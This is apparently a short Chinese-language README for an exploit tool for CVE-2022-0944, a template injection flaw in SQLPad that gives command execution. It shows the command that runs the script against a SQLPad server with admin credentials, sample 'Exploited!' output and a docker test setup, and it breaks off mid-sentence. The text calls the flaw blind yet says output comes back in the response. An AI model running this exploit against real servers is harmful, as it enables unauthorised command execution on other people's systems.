CVE-2022-0944

CVE-2022-0944 SQLPad - 模板注入 这是一个盲漏洞，意味着输出会直接返回在响应中。 利用 使用以下命令运行脚本： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 输出 root@kitploit: Login was successfull Exploited! 测试环境 使用 docker： 启动 docker 容器 - sudo docker run -p 13000:3000 -d...